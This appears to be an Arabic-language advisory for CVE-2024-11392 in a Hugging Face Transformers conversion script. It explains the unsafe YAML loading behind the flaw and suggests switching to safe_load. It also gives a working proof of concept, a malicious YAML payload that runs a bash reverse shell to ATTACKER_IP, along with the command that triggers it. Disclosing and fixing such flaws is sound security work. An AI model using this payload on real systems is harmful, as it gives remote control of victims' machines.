
التفاصيل الفنية والاستغلال لـ CVE-2024-11392
نظرة عامة عالية المستوى وتأثيرات الثغرة:
تسمح الثغرة للمهاجم بتنفيذ تعليمات برمجية عشوائية على الجهاز المضيف عن طريق توفير ملف تكوين ضار للنص البرمجي convert_mlcvnets_to_pytorch.py في مستودع Hugging Face Transformers.
إذا استخدم مستخدم غير متوقع نموذجًا من طرف ثالث مصحوبًا بملف تكوين ضار، فإن تنفيذ النص البرمجي convert_mlcvnets_to_pytorch.py سيؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE) على نظام الضحية.
المنتج المعرض للثغرة
تحليل السبب الجذري
وصف تفصيلي للثغرة: تنشأ الثغرة من إلغاء تسلسل غير آمن لبيانات غير موثوقة. يستخدم النص البرمجي دالة yaml.load مع المحمل FullLoader، الذي يقوم بتحميل لغة YAML بالكامل ويكون عرضة لتنفيذ التعليمات البرمجية.
تدفق الكود من الإدخال إلى الحالة المعرضة للخطر:
ml-cvnet من طرف ثالث مع ملف التكوين الخاص به.convert_mlcvnets_to_pytorch.py ويمرر إليه ملف التكوين.convert_mlcvnets_to_pytorch.py بإلغاء تسلسل ملف التكوين وتنفيذ التعليمات البرمجية الضارة.نقطة الحقن: تحدث الثغرة عند نقطة استدعاء yaml.load(yaml_file, Loader=yaml.FullLoader).
رابط GitHub الدائم: https://github.com/huggingface/transformers/blob/bdb9106f247fca48a71eb384be25dbbd29b065a8/src/transformers/models/mobilevitv2/convert_mlcvnets_to_pytorch.py#L57
الإصلاحات المقترحة: استبدل yaml.load(yaml_file, Loader=yaml.FullLoader) بـ yaml.safe_load(yaml_file) لمنع تنفيذ التعليمات البرمجية العشوائية.
تعليمات تنفيذ الإثبات العملي:
transformers_exploit.yaml لفتح شل عكسية على نظام الضحية:!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1')"
convert_mlcvnets_to_pytorch.py ومرر ملف transformers_exploit.yaml إلى الوسيط --orig_config_path:> python convert_mlcvnets_to_pytorch.py --orig_checkpoint_path dummy_checkpoint.pt --orig_config_path transformers_exploit.yaml --pytorch_dump_folder_path dummy_output --task imagenet1k_256
ملاحظة: يمكن ترك dummy_checkpoint.pt كملف فارغ، و dummy_output كدليل فارغ، و task كأي خيار من الخيارات المذكورة في النص البرمجي.
رابط تحميل البرنامج: https://github.com/huggingface/transformers/tree/main